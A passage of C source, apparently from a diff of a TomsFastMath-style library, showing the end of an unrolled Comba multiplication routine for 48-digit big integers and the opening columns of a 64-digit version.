MULADD(at[7], at[95]); MULADD(at[8], at[94]); MULADD(at[9], at[93]); MULADD(at[10], at[92]); MULADD(at[11], at[91]); MULADD(at[12], at[90]); MULADD(at[13], at[89]); MULADD(at[14], at[88]); MULADD(at[15], at[87]); MULADD(at[16], at[86]); MULADD(at[17], at[85]); MULADD(at[18], at[84]); MULADD(at[19], at[83]); MULADD(at[20], at[82]); MULADD(at[21], at[81]); MULADD(at[22], at[80]); MULADD(at[23], at[79]); MULADD(at[24], at[78]); MULADD(at[25], at[77]); MULADD(at[26], at[76]); MULADD(at[27], at[75]); MULADD(at[28], at[74]); MULADD(at[29], at[73]); MULADD(at[30], at[72]); MULADD(at[31], at[71]); MULADD(at[32], at[70]); MULADD(at[33], at[69]); MULADD(at[34], at[68]); MULADD(at[35], at[67]); MULADD(at[36], at[66]); MULADD(at[37], at[65]); MULADD(at[38], at[64]); MULADD(at[39], at[63]); MULADD(at[40], at[62]); MULADD(at[41], at[61]); MULADD(at[42], at[60]); MULADD(at[43], at[59]); MULADD(at[44], at[58]); MULADD(at[45], at[57]); MULADD(at[46], at[56]); MULADD(at[47], at[55]);
COMBA_STORE(C->dp[54]);
/* early out at 56 digits, 56*32==1792, or two 896 bit operands */
if (out_size <= 56) { COMBA_STORE2(C->dp[55]); C->used = 56; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 55 */
COMBA_FORWARD;
MULADD(at[8], at[95]); MULADD(at[9], at[94]); MULADD(at[10], at[93]); MULADD(at[11], at[92]); MULADD(at[12], at[91]); MULADD(at[13], at[90]); MULADD(at[14], at[89]); MULADD(at[15], at[88]); MULADD(at[16], at[87]); MULADD(at[17], at[86]); MULADD(at[18], at[85]); MULADD(at[19], at[84]); MULADD(at[20], at[83]); MULADD(at[21], at[82]); MULADD(at[22], at[81]); MULADD(at[23], at[80]); MULADD(at[24], at[79]); MULADD(at[25], at[78]); MULADD(at[26], at[77]); MULADD(at[27], at[76]); MULADD(at[28], at[75]); MULADD(at[29], at[74]); MULADD(at[30], at[73]); MULADD(at[31], at[72]); MULADD(at[32], at[71]); MULADD(at[33], at[70]); MULADD(at[34], at[69]); MULADD(at[35], at[68]); MULADD(at[36], at[67]); MULADD(at[37], at[66]); MULADD(at[38], at[65]); MULADD(at[39], at[64]); MULADD(at[40], at[63]); MULADD(at[41], at[62]); MULADD(at[42], at[61]); MULADD(at[43], at[60]); MULADD(at[44], at[59]); MULADD(at[45], at[58]); MULADD(at[46], at[57]); MULADD(at[47], at[56]);
COMBA_STORE(C->dp[55]);
/* 56 */
COMBA_FORWARD;
MULADD(at[9], at[95]); MULADD(at[10], at[94]); MULADD(at[11], at[93]); MULADD(at[12], at[92]); MULADD(at[13], at[91]); MULADD(at[14], at[90]); MULADD(at[15], at[89]); MULADD(at[16], at[88]); MULADD(at[17], at[87]); MULADD(at[18], at[86]); MULADD(at[19], at[85]); MULADD(at[20], at[84]); MULADD(at[21], at[83]); MULADD(at[22], at[82]); MULADD(at[23], at[81]); MULADD(at[24], at[80]); MULADD(at[25], at[79]); MULADD(at[26], at[78]); MULADD(at[27], at[77]); MULADD(at[28], at[76]); MULADD(at[29], at[75]); MULADD(at[30], at[74]); MULADD(at[31], at[73]); MULADD(at[32], at[72]); MULADD(at[33], at[71]); MULADD(at[34], at[70]); MULADD(at[35], at[69]); MULADD(at[36], at[68]); MULADD(at[37], at[67]); MULADD(at[38], at[66]); MULADD(at[39], at[65]); MULADD(at[40], at[64]); MULADD(at[41], at[63]); MULADD(at[42], at[62]); MULADD(at[43], at[61]); MULADD(at[44], at[60]); MULADD(at[45], at[59]); MULADD(at[46], at[58]); MULADD(at[47], at[57]);
COMBA_STORE(C->dp[56]);
/* 57 */
COMBA_FORWARD;
MULADD(at[10], at[95]); MULADD(at[11], at[94]); MULADD(at[12], at[93]); MULADD(at[13], at[92]); MULADD(at[14], at[91]); MULADD(at[15], at[90]); MULADD(at[16], at[89]); MULADD(at[17], at[88]); MULADD(at[18], at[87]); MULADD(at[19], at[86]); MULADD(at[20], at[85]); MULADD(at[21], at[84]); MULADD(at[22], at[83]); MULADD(at[23], at[82]); MULADD(at[24], at[81]); MULADD(at[25], at[80]); MULADD(at[26], at[79]); MULADD(at[27], at[78]); MULADD(at[28], at[77]); MULADD(at[29], at[76]); MULADD(at[30], at[75]); MULADD(at[31], at[74]); MULADD(at[32], at[73]); MULADD(at[33], at[72]); MULADD(at[34], at[71]); MULADD(at[35], at[70]); MULADD(at[36], at[69]); MULADD(at[37], at[68]); MULADD(at[38], at[67]); MULADD(at[39], at[66]); MULADD(at[40], at[65]); MULADD(at[41], at[64]); MULADD(at[42], at[63]); MULADD(at[43], at[62]); MULADD(at[44], at[61]); MULADD(at[45], at[60]); MULADD(at[46], at[59]); MULADD(at[47], at[58]);
COMBA_STORE(C->dp[57]);
/* 58 */
COMBA_FORWARD;
MULADD(at[11], at[95]); MULADD(at[12], at[94]); MULADD(at[13], at[93]); MULADD(at[14], at[92]); MULADD(at[15], at[91]); MULADD(at[16], at[90]); MULADD(at[17], at[89]); MULADD(at[18], at[88]); MULADD(at[19], at[87]); MULADD(at[20], at[86]); MULADD(at[21], at[85]); MULADD(at[22], at[84]); MULADD(at[23], at[83]); MULADD(at[24], at[82]); MULADD(at[25], at[81]); MULADD(at[26], at[80]); MULADD(at[27], at[79]); MULADD(at[28], at[78]); MULADD(at[29], at[77]); MULADD(at[30], at[76]); MULADD(at[31], at[75]); MULADD(at[32], at[74]); MULADD(at[33], at[73]); MULADD(at[34], at[72]); MULADD(at[35], at[71]); MULADD(at[36], at[70]); MULADD(at[37], at[69]); MULADD(at[38], at[68]); MULADD(at[39], at[67]); MULADD(at[40], at[66]); MULADD(at[41], at[65]); MULADD(at[42], at[64]); MULADD(at[43], at[63]); MULADD(at[44], at[62]); MULADD(at[45], at[61]); MULADD(at[46], at[60]); MULADD(at[47], at[59]);
COMBA_STORE(C->dp[58]);
/* 59 */
COMBA_FORWARD;
MULADD(at[12], at[95]); MULADD(at[13], at[94]); MULADD(at[14], at[93]); MULADD(at[15], at[92]); MULADD(at[16], at[91]); MULADD(at[17], at[90]); MULADD(at[18], at[89]); MULADD(at[19], at[88]); MULADD(at[20], at[87]); MULADD(at[21], at[86]); MULADD(at[22], at[85]); MULADD(at[23], at[84]); MULADD(at[24], at[83]); MULADD(at[25], at[82]); MULADD(at[26], at[81]); MULADD(at[27], at[80]); MULADD(at[28], at[79]); MULADD(at[29], at[78]); MULADD(at[30], at[77]); MULADD(at[31], at[76]); MULADD(at[32], at[75]); MULADD(at[33], at[74]); MULADD(at[34], at[73]); MULADD(at[35], at[72]); MULADD(at[36], at[71]); MULADD(at[37], at[70]); MULADD(at[38], at[69]); MULADD(at[39], at[68]); MULADD(at[40], at[67]); MULADD(at[41], at[66]); MULADD(at[42], at[65]); MULADD(at[43], at[64]); MULADD(at[44], at[63]); MULADD(at[45], at[62]); MULADD(at[46], at[61]); MULADD(at[47], at[60]);
COMBA_STORE(C->dp[59]);
/* 60 */
COMBA_FORWARD;
MULADD(at[13], at[95]); MULADD(at[14], at[94]); MULADD(at[15], at[93]); MULADD(at[16], at[92]); MULADD(at[17], at[91]); MULADD(at[18], at[90]); MULADD(at[19], at[89]); MULADD(at[20], at[88]); MULADD(at[21], at[87]); MULADD(at[22], at[86]); MULADD(at[23], at[85]); MULADD(at[24], at[84]); MULADD(at[25], at[83]); MULADD(at[26], at[82]); MULADD(at[27], at[81]); MULADD(at[28], at[80]); MULADD(at[29], at[79]); MULADD(at[30], at[78]); MULADD(at[31], at[77]); MULADD(at[32], at[76]); MULADD(at[33], at[75]); MULADD(at[34], at[74]); MULADD(at[35], at[73]); MULADD(at[36], at[72]); MULADD(at[37], at[71]); MULADD(at[38], at[70]); MULADD(at[39], at[69]); MULADD(at[40], at[68]); MULADD(at[41], at[67]); MULADD(at[42], at[66]); MULADD(at[43], at[65]); MULADD(at[44], at[64]); MULADD(at[45], at[63]); MULADD(at[46], at[62]); MULADD(at[47], at[61]);
COMBA_STORE(C->dp[60]);
/* 61 */
COMBA_FORWARD;
MULADD(at[14], at[95]); MULADD(at[15], at[94]); MULADD(at[16], at[93]); MULADD(at[17], at[92]); MULADD(at[18], at[91]); MULADD(at[19], at[90]); MULADD(at[20], at[89]); MULADD(at[21], at[88]); MULADD(at[22], at[87]); MULADD(at[23], at[86]); MULADD(at[24], at[85]); MULADD(at[25], at[84]); MULADD(at[26], at[83]); MULADD(at[27], at[82]); MULADD(at[28], at[81]); MULADD(at[29], at[80]); MULADD(at[30], at[79]); MULADD(at[31], at[78]); MULADD(at[32], at[77]); MULADD(at[33], at[76]); MULADD(at[34], at[75]); MULADD(at[35], at[74]); MULADD(at[36], at[73]); MULADD(at[37], at[72]); MULADD(at[38], at[71]); MULADD(at[39], at[70]); MULADD(at[40], at[69]); MULADD(at[41], at[68]); MULADD(at[42], at[67]); MULADD(at[43], at[66]); MULADD(at[44], at[65]); MULADD(at[45], at[64]); MULADD(at[46], at[63]); MULADD(at[47], at[62]);
COMBA_STORE(C->dp[61]);
/* 62 */
COMBA_FORWARD;
MULADD(at[15], at[95]); MULADD(at[16], at[94]); MULADD(at[17], at[93]); MULADD(at[18], at[92]); MULADD(at[19], at[91]); MULADD(at[20], at[90]); MULADD(at[21], at[89]); MULADD(at[22], at[88]); MULADD(at[23], at[87]); MULADD(at[24], at[86]); MULADD(at[25], at[85]); MULADD(at[26], at[84]); MULADD(at[27], at[83]); MULADD(at[28], at[82]); MULADD(at[29], at[81]); MULADD(at[30], at[80]); MULADD(at[31], at[79]); MULADD(at[32], at[78]); MULADD(at[33], at[77]); MULADD(at[34], at[76]); MULADD(at[35], at[75]); MULADD(at[36], at[74]); MULADD(at[37], at[73]); MULADD(at[38], at[72]); MULADD(at[39], at[71]); MULADD(at[40], at[70]); MULADD(at[41], at[69]); MULADD(at[42], at[68]); MULADD(at[43], at[67]); MULADD(at[44], at[66]); MULADD(at[45], at[65]); MULADD(at[46], at[64]); MULADD(at[47], at[63]);
COMBA_STORE(C->dp[62]);
/* early out at 64 digits, 64*32==2048, or two 1024 bit operands */
if (out_size <= 64) { COMBA_STORE2(C->dp[63]); C->used = 64; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 63 */
COMBA_FORWARD;
MULADD(at[16], at[95]); MULADD(at[17], at[94]); MULADD(at[18], at[93]); MULADD(at[19], at[92]); MULADD(at[20], at[91]); MULADD(at[21], at[90]); MULADD(at[22], at[89]); MULADD(at[23], at[88]); MULADD(at[24], at[87]); MULADD(at[25], at[86]); MULADD(at[26], at[85]); MULADD(at[27], at[84]); MULADD(at[28], at[83]); MULADD(at[29], at[82]); MULADD(at[30], at[81]); MULADD(at[31], at[80]); MULADD(at[32], at[79]); MULADD(at[33], at[78]); MULADD(at[34], at[77]); MULADD(at[35], at[76]); MULADD(at[36], at[75]); MULADD(at[37], at[74]); MULADD(at[38], at[73]); MULADD(at[39], at[72]); MULADD(at[40], at[71]); MULADD(at[41], at[70]); MULADD(at[42], at[69]); MULADD(at[43], at[68]); MULADD(at[44], at[67]); MULADD(at[45], at[66]); MULADD(at[46], at[65]); MULADD(at[47], at[64]);
COMBA_STORE(C->dp[63]);
/* 64 */
COMBA_FORWARD;
MULADD(at[17], at[95]); MULADD(at[18], at[94]); MULADD(at[19], at[93]); MULADD(at[20], at[92]); MULADD(at[21], at[91]); MULADD(at[22], at[90]); MULADD(at[23], at[89]); MULADD(at[24], at[88]); MULADD(at[25], at[87]); MULADD(at[26], at[86]); MULADD(at[27], at[85]); MULADD(at[28], at[84]); MULADD(at[29], at[83]); MULADD(at[30], at[82]); MULADD(at[31], at[81]); MULADD(at[32], at[80]); MULADD(at[33], at[79]); MULADD(at[34], at[78]); MULADD(at[35], at[77]); MULADD(at[36], at[76]); MULADD(at[37], at[75]); MULADD(at[38], at[74]); MULADD(at[39], at[73]); MULADD(at[40], at[72]); MULADD(at[41], at[71]); MULADD(at[42], at[70]); MULADD(at[43], at[69]); MULADD(at[44], at[68]); MULADD(at[45], at[67]); MULADD(at[46], at[66]); MULADD(at[47], at[65]);
COMBA_STORE(C->dp[64]);
/* 65 */
COMBA_FORWARD;
MULADD(at[18], at[95]); MULADD(at[19], at[94]); MULADD(at[20], at[93]); MULADD(at[21], at[92]); MULADD(at[22], at[91]); MULADD(at[23], at[90]); MULADD(at[24], at[89]); MULADD(at[25], at[88]); MULADD(at[26], at[87]); MULADD(at[27], at[86]); MULADD(at[28], at[85]); MULADD(at[29], at[84]); MULADD(at[30], at[83]); MULADD(at[31], at[82]); MULADD(at[32], at[81]); MULADD(at[33], at[80]); MULADD(at[34], at[79]); MULADD(at[35], at[78]); MULADD(at[36], at[77]); MULADD(at[37], at[76]); MULADD(at[38], at[75]); MULADD(at[39], at[74]); MULADD(at[40], at[73]); MULADD(at[41], at[72]); MULADD(at[42], at[71]); MULADD(at[43], at[70]); MULADD(at[44], at[69]); MULADD(at[45], at[68]); MULADD(at[46], at[67]); MULADD(at[47], at[66]);
COMBA_STORE(C->dp[65]);
/* 66 */
COMBA_FORWARD;
MULADD(at[19], at[95]); MULADD(at[20], at[94]); MULADD(at[21], at[93]); MULADD(at[22], at[92]); MULADD(at[23], at[91]); MULADD(at[24], at[90]); MULADD(at[25], at[89]); MULADD(at[26], at[88]); MULADD(at[27], at[87]); MULADD(at[28], at[86]); MULADD(at[29], at[85]); MULADD(at[30], at[84]); MULADD(at[31], at[83]); MULADD(at[32], at[82]); MULADD(at[33], at[81]); MULADD(at[34], at[80]); MULADD(at[35], at[79]); MULADD(at[36], at[78]); MULADD(at[37], at[77]); MULADD(at[38], at[76]); MULADD(at[39], at[75]); MULADD(at[40], at[74]); MULADD(at[41], at[73]); MULADD(at[42], at[72]); MULADD(at[43], at[71]); MULADD(at[44], at[70]); MULADD(at[45], at[69]); MULADD(at[46], at[68]); MULADD(at[47], at[67]);
COMBA_STORE(C->dp[66]);
/* 67 */
COMBA_FORWARD;
MULADD(at[20], at[95]); MULADD(at[21], at[94]); MULADD(at[22], at[93]); MULADD(at[23], at[92]); MULADD(at[24], at[91]); MULADD(at[25], at[90]); MULADD(at[26], at[89]); MULADD(at[27], at[88]); MULADD(at[28], at[87]); MULADD(at[29], at[86]); MULADD(at[30], at[85]); MULADD(at[31], at[84]); MULADD(at[32], at[83]); MULADD(at[33], at[82]); MULADD(at[34], at[81]); MULADD(at[35], at[80]); MULADD(at[36], at[79]); MULADD(at[37], at[78]); MULADD(at[38], at[77]); MULADD(at[39], at[76]); MULADD(at[40], at[75]); MULADD(at[41], at[74]); MULADD(at[42], at[73]); MULADD(at[43], at[72]); MULADD(at[44], at[71]); MULADD(at[45], at[70]); MULADD(at[46], at[69]); MULADD(at[47], at[68]);
COMBA_STORE(C->dp[67]);
/* 68 */
COMBA_FORWARD;
MULADD(at[21], at[95]); MULADD(at[22], at[94]); MULADD(at[23], at[93]); MULADD(at[24], at[92]); MULADD(at[25], at[91]); MULADD(at[26], at[90]); MULADD(at[27], at[89]); MULADD(at[28], at[88]); MULADD(at[29], at[87]); MULADD(at[30], at[86]); MULADD(at[31], at[85]); MULADD(at[32], at[84]); MULADD(at[33], at[83]); MULADD(at[34], at[82]); MULADD(at[35], at[81]); MULADD(at[36], at[80]); MULADD(at[37], at[79]); MULADD(at[38], at[78]); MULADD(at[39], at[77]); MULADD(at[40], at[76]); MULADD(at[41], at[75]); MULADD(at[42], at[74]); MULADD(at[43], at[73]); MULADD(at[44], at[72]); MULADD(at[45], at[71]); MULADD(at[46], at[70]); MULADD(at[47], at[69]);
COMBA_STORE(C->dp[68]);
/* 69 */
COMBA_FORWARD;
MULADD(at[22], at[95]); MULADD(at[23], at[94]); MULADD(at[24], at[93]); MULADD(at[25], at[92]); MULADD(at[26], at[91]); MULADD(at[27], at[90]); MULADD(at[28], at[89]); MULADD(at[29], at[88]); MULADD(at[30], at[87]); MULADD(at[31], at[86]); MULADD(at[32], at[85]); MULADD(at[33], at[84]); MULADD(at[34], at[83]); MULADD(at[35], at[82]); MULADD(at[36], at[81]); MULADD(at[37], at[80]); MULADD(at[38], at[79]); MULADD(at[39], at[78]); MULADD(at[40], at[77]); MULADD(at[41], at[76]); MULADD(at[42], at[75]); MULADD(at[43], at[74]); MULADD(at[44], at[73]); MULADD(at[45], at[72]); MULADD(at[46], at[71]); MULADD(at[47], at[70]);
COMBA_STORE(C->dp[69]);
/* 70 */
COMBA_FORWARD;
MULADD(at[23], at[95]); MULADD(at[24], at[94]); MULADD(at[25], at[93]); MULADD(at[26], at[92]); MULADD(at[27], at[91]); MULADD(at[28], at[90]); MULADD(at[29], at[89]); MULADD(at[30], at[88]); MULADD(at[31], at[87]); MULADD(at[32], at[86]); MULADD(at[33], at[85]); MULADD(at[34], at[84]); MULADD(at[35], at[83]); MULADD(at[36], at[82]); MULADD(at[37], at[81]); MULADD(at[38], at[80]); MULADD(at[39], at[79]); MULADD(at[40], at[78]); MULADD(at[41], at[77]); MULADD(at[42], at[76]); MULADD(at[43], at[75]); MULADD(at[44], at[74]); MULADD(at[45], at[73]); MULADD(at[46], at[72]); MULADD(at[47], at[71]);
COMBA_STORE(C->dp[70]);
/* early out at 72 digits, 72*32==2304, or two 1152 bit operands */
if (out_size <= 72) { COMBA_STORE2(C->dp[71]); C->used = 72; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 71 */
COMBA_FORWARD;
MULADD(at[24], at[95]); MULADD(at[25], at[94]); MULADD(at[26], at[93]); MULADD(at[27], at[92]); MULADD(at[28], at[91]); MULADD(at[29], at[90]); MULADD(at[30], at[89]); MULADD(at[31], at[88]); MULADD(at[32], at[87]); MULADD(at[33], at[86]); MULADD(at[34], at[85]); MULADD(at[35], at[84]); MULADD(at[36], at[83]); MULADD(at[37], at[82]); MULADD(at[38], at[81]); MULADD(at[39], at[80]); MULADD(at[40], at[79]); MULADD(at[41], at[78]); MULADD(at[42], at[77]); MULADD(at[43], at[76]); MULADD(at[44], at[75]); MULADD(at[45], at[74]); MULADD(at[46], at[73]); MULADD(at[47], at[72]);
COMBA_STORE(C->dp[71]);
/* 72 */
COMBA_FORWARD;
MULADD(at[25], at[95]); MULADD(at[26], at[94]); MULADD(at[27], at[93]); MULADD(at[28], at[92]); MULADD(at[29], at[91]); MULADD(at[30], at[90]); MULADD(at[31], at[89]); MULADD(at[32], at[88]); MULADD(at[33], at[87]); MULADD(at[34], at[86]); MULADD(at[35], at[85]); MULADD(at[36], at[84]); MULADD(at[37], at[83]); MULADD(at[38], at[82]); MULADD(at[39], at[81]); MULADD(at[40], at[80]); MULADD(at[41], at[79]); MULADD(at[42], at[78]); MULADD(at[43], at[77]); MULADD(at[44], at[76]); MULADD(at[45], at[75]); MULADD(at[46], at[74]); MULADD(at[47], at[73]);
COMBA_STORE(C->dp[72]);
/* 73 */
COMBA_FORWARD;
MULADD(at[26], at[95]); MULADD(at[27], at[94]); MULADD(at[28], at[93]); MULADD(at[29], at[92]); MULADD(at[30], at[91]); MULADD(at[31], at[90]); MULADD(at[32], at[89]); MULADD(at[33], at[88]); MULADD(at[34], at[87]); MULADD(at[35], at[86]); MULADD(at[36], at[85]); MULADD(at[37], at[84]); MULADD(at[38], at[83]); MULADD(at[39], at[82]); MULADD(at[40], at[81]); MULADD(at[41], at[80]); MULADD(at[42], at[79]); MULADD(at[43], at[78]); MULADD(at[44], at[77]); MULADD(at[45], at[76]); MULADD(at[46], at[75]); MULADD(at[47], at[74]);
COMBA_STORE(C->dp[73]);
/* 74 */
COMBA_FORWARD;
MULADD(at[27], at[95]); MULADD(at[28], at[94]); MULADD(at[29], at[93]); MULADD(at[30], at[92]); MULADD(at[31], at[91]); MULADD(at[32], at[90]); MULADD(at[33], at[89]); MULADD(at[34], at[88]); MULADD(at[35], at[87]); MULADD(at[36], at[86]); MULADD(at[37], at[85]); MULADD(at[38], at[84]); MULADD(at[39], at[83]); MULADD(at[40], at[82]); MULADD(at[41], at[81]); MULADD(at[42], at[80]); MULADD(at[43], at[79]); MULADD(at[44], at[78]); MULADD(at[45], at[77]); MULADD(at[46], at[76]); MULADD(at[47], at[75]);
COMBA_STORE(C->dp[74]);
/* 75 */
COMBA_FORWARD;
MULADD(at[28], at[95]); MULADD(at[29], at[94]); MULADD(at[30], at[93]); MULADD(at[31], at[92]); MULADD(at[32], at[91]); MULADD(at[33], at[90]); MULADD(at[34], at[89]); MULADD(at[35], at[88]); MULADD(at[36], at[87]); MULADD(at[37], at[86]); MULADD(at[38], at[85]); MULADD(at[39], at[84]); MULADD(at[40], at[83]); MULADD(at[41], at[82]); MULADD(at[42], at[81]); MULADD(at[43], at[80]); MULADD(at[44], at[79]); MULADD(at[45], at[78]); MULADD(at[46], at[77]); MULADD(at[47], at[76]);
COMBA_STORE(C->dp[75]);
/* 76 */
COMBA_FORWARD;
MULADD(at[29], at[95]); MULADD(at[30], at[94]); MULADD(at[31], at[93]); MULADD(at[32], at[92]); MULADD(at[33], at[91]); MULADD(at[34], at[90]); MULADD(at[35], at[89]); MULADD(at[36], at[88]); MULADD(at[37], at[87]); MULADD(at[38], at[86]); MULADD(at[39], at[85]); MULADD(at[40], at[84]); MULADD(at[41], at[83]); MULADD(at[42], at[82]); MULADD(at[43], at[81]); MULADD(at[44], at[80]); MULADD(at[45], at[79]); MULADD(at[46], at[78]); MULADD(at[47], at[77]);
COMBA_STORE(C->dp[76]);
/* 77 */
COMBA_FORWARD;
MULADD(at[30], at[95]); MULADD(at[31], at[94]); MULADD(at[32], at[93]); MULADD(at[33], at[92]); MULADD(at[34], at[91]); MULADD(at[35], at[90]); MULADD(at[36], at[89]); MULADD(at[37], at[88]); MULADD(at[38], at[87]); MULADD(at[39], at[86]); MULADD(at[40], at[85]); MULADD(at[41], at[84]); MULADD(at[42], at[83]); MULADD(at[43], at[82]); MULADD(at[44], at[81]); MULADD(at[45], at[80]); MULADD(at[46], at[79]); MULADD(at[47], at[78]);
COMBA_STORE(C->dp[77]);
/* 78 */
COMBA_FORWARD;
MULADD(at[31], at[95]); MULADD(at[32], at[94]); MULADD(at[33], at[93]); MULADD(at[34], at[92]); MULADD(at[35], at[91]); MULADD(at[36], at[90]); MULADD(at[37], at[89]); MULADD(at[38], at[88]); MULADD(at[39], at[87]); MULADD(at[40], at[86]); MULADD(at[41], at[85]); MULADD(at[42], at[84]); MULADD(at[43], at[83]); MULADD(at[44], at[82]); MULADD(at[45], at[81]); MULADD(at[46], at[80]); MULADD(at[47], at[79]);
COMBA_STORE(C->dp[78]);
/* early out at 80 digits, 80*32==2560, or two 1280 bit operands */
if (out_size <= 80) { COMBA_STORE2(C->dp[79]); C->used = 80; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 79 */
COMBA_FORWARD;
MULADD(at[32], at[95]); MULADD(at[33], at[94]); MULADD(at[34], at[93]); MULADD(at[35], at[92]); MULADD(at[36], at[91]); MULADD(at[37], at[90]); MULADD(at[38], at[89]); MULADD(at[39], at[88]); MULADD(at[40], at[87]); MULADD(at[41], at[86]); MULADD(at[42], at[85]); MULADD(at[43], at[84]); MULADD(at[44], at[83]); MULADD(at[45], at[82]); MULADD(at[46], at[81]); MULADD(at[47], at[80]);
COMBA_STORE(C->dp[79]);
/* 80 */
COMBA_FORWARD;
MULADD(at[33], at[95]); MULADD(at[34], at[94]); MULADD(at[35], at[93]); MULADD(at[36], at[92]); MULADD(at[37], at[91]); MULADD(at[38], at[90]); MULADD(at[39], at[89]); MULADD(at[40], at[88]); MULADD(at[41], at[87]); MULADD(at[42], at[86]); MULADD(at[43], at[85]); MULADD(at[44], at[84]); MULADD(at[45], at[83]); MULADD(at[46], at[82]); MULADD(at[47], at[81]);
COMBA_STORE(C->dp[80]);
/* 81 */
COMBA_FORWARD;
MULADD(at[34], at[95]); MULADD(at[35], at[94]); MULADD(at[36], at[93]); MULADD(at[37], at[92]); MULADD(at[38], at[91]); MULADD(at[39], at[90]); MULADD(at[40], at[89]); MULADD(at[41], at[88]); MULADD(at[42], at[87]); MULADD(at[43], at[86]); MULADD(at[44], at[85]); MULADD(at[45], at[84]); MULADD(at[46], at[83]); MULADD(at[47], at[82]);
COMBA_STORE(C->dp[81]);
/* 82 */
COMBA_FORWARD;
MULADD(at[35], at[95]); MULADD(at[36], at[94]); MULADD(at[37], at[93]); MULADD(at[38], at[92]); MULADD(at[39], at[91]); MULADD(at[40], at[90]); MULADD(at[41], at[89]); MULADD(at[42], at[88]); MULADD(at[43], at[87]); MULADD(at[44], at[86]); MULADD(at[45], at[85]); MULADD(at[46], at[84]); MULADD(at[47], at[83]);
COMBA_STORE(C->dp[82]);
/* 83 */
COMBA_FORWARD;
MULADD(at[36], at[95]); MULADD(at[37], at[94]); MULADD(at[38], at[93]); MULADD(at[39], at[92]); MULADD(at[40], at[91]); MULADD(at[41], at[90]); MULADD(at[42], at[89]); MULADD(at[43], at[88]); MULADD(at[44], at[87]); MULADD(at[45], at[86]); MULADD(at[46], at[85]); MULADD(at[47], at[84]);
COMBA_STORE(C->dp[83]);
/* 84 */
COMBA_FORWARD;
MULADD(at[37], at[95]); MULADD(at[38], at[94]); MULADD(at[39], at[93]); MULADD(at[40], at[92]); MULADD(at[41], at[91]); MULADD(at[42], at[90]); MULADD(at[43], at[89]); MULADD(at[44], at[88]); MULADD(at[45], at[87]); MULADD(at[46], at[86]); MULADD(at[47], at[85]);
COMBA_STORE(C->dp[84]);
/* 85 */
COMBA_FORWARD;
MULADD(at[38], at[95]); MULADD(at[39], at[94]); MULADD(at[40], at[93]); MULADD(at[41], at[92]); MULADD(at[42], at[91]); MULADD(at[43], at[90]); MULADD(at[44], at[89]); MULADD(at[45], at[88]); MULADD(at[46], at[87]); MULADD(at[47], at[86]);
COMBA_STORE(C->dp[85]);
/* 86 */
COMBA_FORWARD;
MULADD(at[39], at[95]); MULADD(at[40], at[94]); MULADD(at[41], at[93]); MULADD(at[42], at[92]); MULADD(at[43], at[91]); MULADD(at[44], at[90]); MULADD(at[45], at[89]); MULADD(at[46], at[88]); MULADD(at[47], at[87]);
COMBA_STORE(C->dp[86]);
/* early out at 88 digits, 88*32==2816, or two 1408 bit operands */
if (out_size <= 88) { COMBA_STORE2(C->dp[87]); C->used = 88; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 87 */
COMBA_FORWARD;
MULADD(at[40], at[95]); MULADD(at[41], at[94]); MULADD(at[42], at[93]); MULADD(at[43], at[92]); MULADD(at[44], at[91]); MULADD(at[45], at[90]); MULADD(at[46], at[89]); MULADD(at[47], at[88]);
COMBA_STORE(C->dp[87]);
/* 88 */
COMBA_FORWARD;
MULADD(at[41], at[95]); MULADD(at[42], at[94]); MULADD(at[43], at[93]); MULADD(at[44], at[92]); MULADD(at[45], at[91]); MULADD(at[46], at[90]); MULADD(at[47], at[89]);
COMBA_STORE(C->dp[88]);
/* 89 */
COMBA_FORWARD;
MULADD(at[42], at[95]); MULADD(at[43], at[94]); MULADD(at[44], at[93]); MULADD(at[45], at[92]); MULADD(at[46], at[91]); MULADD(at[47], at[90]);
COMBA_STORE(C->dp[89]);
/* 90 */
COMBA_FORWARD;
MULADD(at[43], at[95]); MULADD(at[44], at[94]); MULADD(at[45], at[93]); MULADD(at[46], at[92]); MULADD(at[47], at[91]);
COMBA_STORE(C->dp[90]);
/* 91 */
COMBA_FORWARD;
MULADD(at[44], at[95]); MULADD(at[45], at[94]); MULADD(at[46], at[93]); MULADD(at[47], at[92]);
COMBA_STORE(C->dp[91]);
/* 92 */
COMBA_FORWARD;
MULADD(at[45], at[95]); MULADD(at[46], at[94]); MULADD(at[47], at[93]);
COMBA_STORE(C->dp[92]);
/* 93 */
COMBA_FORWARD;
MULADD(at[46], at[95]); MULADD(at[47], at[94]);
COMBA_STORE(C->dp[93]);
/* 94 */
COMBA_FORWARD;
MULADD(at[47], at[95]);
COMBA_STORE(C->dp[94]);
COMBA_STORE2(C->dp[95]);
C->used = 96;
C->sign = A->sign ^ B->sign;
fp_clamp(C);
COMBA_FINI;
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,578 @@
#define TFM_DEFINES
#include "fp_mul_comba.c"
#if defined(TFM_MUL64) && FP_SIZE >= 128
void fp_mul_comba64(fp_int *A, fp_int *B, fp_int *C)
{
fp_digit c0, c1, c2, at[128];
int out_size;
out_size = A->used + B->used;
memcpy(at, A->dp, 64 * sizeof(fp_digit));
memcpy(at+64, B->dp, 64 * sizeof(fp_digit));
COMBA_START;
COMBA_CLEAR;
/* 0 */
MULADD(at[0], at[64]);
COMBA_STORE(C->dp[0]);
/* 1 */
COMBA_FORWARD;
MULADD(at[0], at[65]); MULADD(at[1], at[64]);
COMBA_STORE(C->dp[1]);
/* 2 */
COMBA_FORWARD;
MULADD(at[0], at[66]); MULADD(at[1], at[65]); MULADD(at[2], at[64]);
COMBA_STORE(C->dp[2]);
/* 3 */
COMBA_FORWARD;
MULADD(at[0], at[67]); MULADD(at[1], at[66]); MULADD(at[2], at[65]); MULADD(at[3], at[64]);
COMBA_STORE(C->dp[3]);
/* 4 */
COMBA_FORWARD;
MULADD(at[0], at[68]); MULADD(at[1], at[67]); MULADD(at[2], at[66]); MULADD(at[3], at[65]); MULADD(at[4], at[64]);
COMBA_STORE(C->dp[4]);
/* 5 */
COMBA_FORWARD;
MULADD(at[0], at[69]); MULADD(at[1], at[68]); MULADD(at[2], at[67]); MULADD(at[3], at[66]); MULADD(at[4], at[65]); MULADD(at[5], at[64]);
COMBA_STORE(C->dp[5]);
/* 6 */
COMBA_FORWARD;
